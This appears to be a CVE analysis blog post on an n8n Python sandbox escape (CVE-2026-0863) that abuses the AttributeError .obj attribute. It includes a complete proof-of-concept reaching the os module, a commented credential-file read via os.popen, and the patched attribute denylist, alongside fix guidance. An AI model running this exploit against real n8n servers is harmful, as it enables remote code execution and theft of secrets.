Snake in the Sandbox: Breaking n8n with Python 3.10 Internals
Jan 20, 2026·7 min read
Executive Summary (TL;DR)
The n8n Python sandbox tries to block bad words like `os` or `__traceback__`. However, Python 3.10 introduced a "helpful" feature where `AttributeError` objects carry a reference to the object that caused the error in their `.obj` attribute. Attackers can abuse this to launder forbidden objects through an exception handler, bypass the denylist, and execute arbitrary system commands.
A sophisticated sandbox escape in n8n's Python task executor leverages a Python 3.10 error-handling feature to bypass static analysis. By intentionally triggering exceptions inside formatted strings, attackers can access restricted internal objects via the 'obj' attribute of the exception, eventually leading to full Remote Code Execution (RCE).
The Hook: When Automation Meets Isolation
n8n is the darling of the low-code automation world. It lets you stitch together workflows—webhooks, databases, Slack messages—like a digital Frankenstein. But sometimes, drag-and-drop boxes aren't enough. Users want raw power. They want to write code. Enter the Python Code Node.
Allowing users to write Python scripts in an automated workflow is a feature request from hell. You have to execute untrusted code on your server while pinky-promising that it won't touch the file system or spawn a reverse shell. To achieve this, n8n implements a python-task-executor with a sandbox. The goal is simple: allow math and string manipulation, but forbid the dark arts (os, sys, subprocess).
For a long time, this worked by parsing the user's code into an Abstract Syntax Tree (AST) and playing "Whac-A-Mole" with dangerous attribute names. If your code contained __traceback__ or f_builtins, the TaskAnalyzer would slap it down before execution. But as every security researcher knows, static analysis in a dynamic language like Python is like trying to hold water in a sieve.
The Flaw: Python's Helpful Hand Grenade
The vulnerability (CVE-2026-0863) isn't a buffer overflow or a logic error in n8n's code per se; it's a clever abuse of a feature introduced in Python 3.10. The Python developers, in their infinite quest to make debugging easier, added a new attribute to AttributeError and NameError exceptions called obj.
When you try to access an attribute that doesn't exist (e.g., dog.meow), Python raises an AttributeError. Crucially, this exception object now holds a reference to the dog instance in e.obj. It's meant to help developers see what they were trying to access.
Here lies the bypass. The n8n sandbox operates on a denylist (bad practice #1). It scans your code for forbidden words. If you type x = my_object.__traceback__, the analyzer sees the AST node for __traceback__ and screams.
However, the analyzer doesn't block the word obj, because accessing generic objects is normal. The flaw is that the sandbox failed to realize that obj can be a proxy for forbidden fruit. If an attacker can trick the interpreter into internally accessing a forbidden attribute (like __traceback__) inside a structure the static analyzer ignores (like a format string), and then trigger an error on it, the resulting exception will happily hand the forbidden object over via .obj, effectively scrubbing the "forbidden" taint.
The Code: Analysis of a Sandbox Fail
The fix for this issue is embarrassingly simple, highlighting just how fragile denylist-based sandboxing is. The patch didn't rewrite the execution engine or implement eBPF filters. It just added three letters to a list.
Below is the relevant diff from packages/@n8n/task-runner-python/src/constants.py. The developers simply added "obj" to the list of forbidden attributes that the TaskAnalyzer looks for.
# packages/@n8n/task-runner-python/src/constants.py
DENYLISTED_ATTRIBUTES = [
"__traceback__",
"tb_frame",
"f_builtins",
"f_globals",
+ "obj", # <--- The "fix"
"__thisclass__",
"__self_class__",
# ... others ...
][!NOTE] The Reality Check: While this patches the immediate hole, it's a game of cat and mouse. If Python 3.14 adds a new attribute called
whoopsiethat exposes internal state, n8n will be vulnerable again until they update this list. This is why isolation at the OS level (containers, gVisor) is superior to language-level sandboxing.
The Exploit: Climbing the Ladder
Let's break the sandbox. We need to get os.system to run shell commands. The sandbox blocks direct imports of os and access to __builtins__. We have to climb the Python stack frame to find a reference to the global scope.
Step 1: The Magic Trick
We define a function new_getattr that takes an object and an attribute name we want to steal. It constructs a format string like f'{0.__traceback__.ribbit}'.
When .format(obj) executes, Python evaluates obj.__traceback__ (which succeeds internally) and then tries to access .ribbit (which fails). The resulting AttributeError contains obj.__traceback__ in its .obj field. We catch the error and return the loot.
Step 2: The Ascent
We start with a harmless exception to get a foothold. Then we chain our magic trick:
- Traceback: Get
e.__traceback__(forbidden). - Frame: Get
tb.tb_frame(forbidden). - Builtins: Get
frame.f_builtins(forbidden). - Import: From builtins, grab the
__import__function. - Globals: From the import function, grab its
__globals__. - OS: From globals, grab the
osmodule. - Victory: Call
os.uname().
The Full PoC
# This runs inside the n8n Python node
def new_getattr(obj, attribute, *, Exception):
try:
# The static analyzer doesn't parse inside the format string deeply enough
# to trigger the ban on 'attribute'
f'{{0.{attribute}.ribbit}}'.format(obj)
except Exception as e:
# The .obj attribute was NOT on the denylist (pre-patch)
return e.obj
try:
raise ValueError("init")
except Exception as e:
# 1. Steal the traceback
tb = new_getattr(e, '__traceback__', Exception=Exception)
# 2. Steal the frame
frame = new_getattr(tb, 'tb_frame', Exception=Exception)
# 3. Steal builtins dict
builtins = new_getattr(frame, 'f_builtins', Exception=Exception)
# 4. Construct string 'import' to bypass string literal filters
us = chr(95)
imprt_name = us + us + 'import' + us + us
imprt = builtins[imprt_name]
# 5. Get os from import's globals
import_globals = new_getattr(imprt, '__globals__', Exception=Exception)
os = import_globals['os']
# 6. RCE
# In a real attack: os.popen('cat /etc/passwd').read()
return [{"json": {"pwned": os.uname()}}]The Impact: From Sandbox to Root
The impact of this vulnerability depends heavily on how n8n is deployed.
Scenario A: Internal Execution Mode (Default/Legacy) In this mode, the Python code runs directly in the Node.js process wrapper on the host machine. An escape here is catastrophic. The attacker gains the privileges of the user running n8n. They can read environment variables (AWS keys, database credentials), modify other workflows, and pivot to the internal network.
Scenario B: External Execution Mode (Docker)
If n8n is configured to use the python-task-executor in "External" mode, the code runs in a sidecar container. The exploit still works—you still get a shell—but you are trapped inside a minimal container. You can't immediately access the main n8n database or keys unless they are mounted into that specific container. However, container escapes are a whole other discipline, and you've just cleared the first hurdle.
CVSS 8.5 is no joke. The complexity is marked "High" because you need to understand Python internals, but as shown above, the script is copy-pasteable.
The Fix: Closing the Loophole
To mitigate this, you have two options. The boring one and the architectural one.
1. Patching: Update n8n immediately.
- < 1.x: Update to
1.123.14 - 2.x: Update to
2.3.5or2.4.2This applies the patch that addsobjto the denylist.
2. Isolation (The Real Fix): Stop trusting language-level sandboxes. They are Swiss cheese. Configure n8n to use External execution mode. This spins up ephemeral workers for code execution. Even if someone breaks out of Python, they land in an empty room rather than your control center.
[!NOTE] Developer Lesson: If you are building a sandbox, assume it is already broken. Layer your defenses. Use
seccomp,AppArmor, and network policies to restrict what the process can do after the inevitable escape.
Official Patches
Fix Analysis (1)
Technical Appendix
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:HAffected Systems
Affected Versions Detail
| Product | Affected Versions | Fixed Version |
|---|---|---|
n8n n8n-io | < 1.123.14 | 1.123.14 |
n8n n8n-io | 2.0.0 - 2.3.4 | 2.3.5 |
n8n n8n-io | 2.4.0 - 2.4.1 | 2.4.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-95 (Eval Injection) |
| Attack Vector | Network (Authenticated) |
| CVSS v3.1 | 8.5 (High) |
| Impact | Confidentiality, Integrity, Availability |
| Exploit Status | Functional PoC Available |
| EPSS Score | 0.07% (Low Probability) |
MITRE ATT&CK Mapping
Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')
Known Exploits & Detection
Vulnerability Timeline
Subscribe to updates
Get the latest CVE analysis reports delivered to your inbox.